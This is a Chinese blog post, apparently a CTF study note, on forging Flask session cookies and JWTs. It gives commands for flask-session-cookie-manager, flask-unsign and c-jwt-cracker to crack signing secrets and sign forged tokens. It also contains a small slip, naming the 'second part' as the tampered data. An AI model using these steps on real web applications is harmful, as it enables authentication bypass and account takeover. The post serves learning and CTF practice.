flasksession伪造和jwt伪造

flasksession伪造

基本理论

session是在服务端用来存储用户信息的,类似于来宾登记表,通过http报文中的cookie进行传递.由于flask轻量级的设计,因此session是存储在客户端的,因此也带来了flask session伪造的风险.
flask中的session通过app.secret_key = ...来设置.
flasksession通常是由三部分组成,中间通过.来进行分割.第一部分通常是是json形式的数据通过base64加密后的结果(使用-_替换了标准Base64编码中的+/,同时去除结尾的=),第二部分是使用的签名算法,第三部分则是session的签名.
所谓flask session伪造,其根本就是在已知或爆出secret_key的情况下,篡改第二部分,生成新的第三部分,从而做到任意修改数据.

kali下的小工具,使用方法如下:
安装:

git clone https://github.com/noraj/flask-session-cookie-manager

生成session:

python3 flask_session_cookie_manager3.py encode -s 'hello' -t '{"username":"lbz"}'

已知secret_key破解session:

python3 flask_session_cookie_manager3.py decode -s 'hello' -c 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

由于一些题目的secret是基于时间戳生成的,因此这里还需要一个生成时间戳的工具: https://uutool.cn/timestamp/

flask-unsign

这个工具比上一个多了自动爆破秘钥的功能,而且是添加到pip包管理器中的,可以直接使用(但是似乎没有在已知cookie情况下破解的功能).
安装到了windows下,通过powshell使用.
安装:

pip install flask-unsign[wordlist]

破解秘钥并解密:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

破解秘钥并输出秘钥:

flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImxieiJ9.ZoO6sQ.1qmeqKQDnxZyPqeCWGtw_50wWss'

生成session:

flask-unsign --sign --cookie '{"username":"lbz","passwd":"123"}' --secret 'hello'

jwt伪造攻击

基础理论

相比session,jwt token是一种升级的状态存储方式.具有更好的扩展性,同时每个用户只需要存储一个jwt.
jwt也是由三部分组成,第一个是jwt声明和签名算法声明,第二部分是json格式存储的数据进行base64后的结果,第三部分是签名.
注意:jwt在传递的使用需要通过Authorization进行传递,同时添加Content-Type

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InByb3BhbmUiLCJncm91cCI6ImFkbWluIiwiZXhwIjoxNzE5OTU4NDI0fQ.3GMW2L_Sm_8mfO5d5F7-ySB3q4n3ZNbVsEvDD2btrMQ
Content-Type: application/json
jwt.io

一个在线工具,能够用于生成和修改jwt.
由于是网页版,可视化,所以用起来非常直观.
需要时间戳的时候可以配合 https://uutool.cn/timestamp/ 进行使用

c-jwt-cracker

一个用于爆破jwt的secret_key的工具,用法如下

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImxieiIsInBhc3N3b3JkIjoibGJ6MDQxMTMwIn0.Z1Hba5ZQ4VQ38EmG95JK7HKc0iIHSqK-EskWOBmFH34

由于是基于字典进行爆破,所以爆不出来确实也正常.

posted @ 2024-07-02 20:53  colorfullbz  阅读(1070)  评论(0)    收藏  举报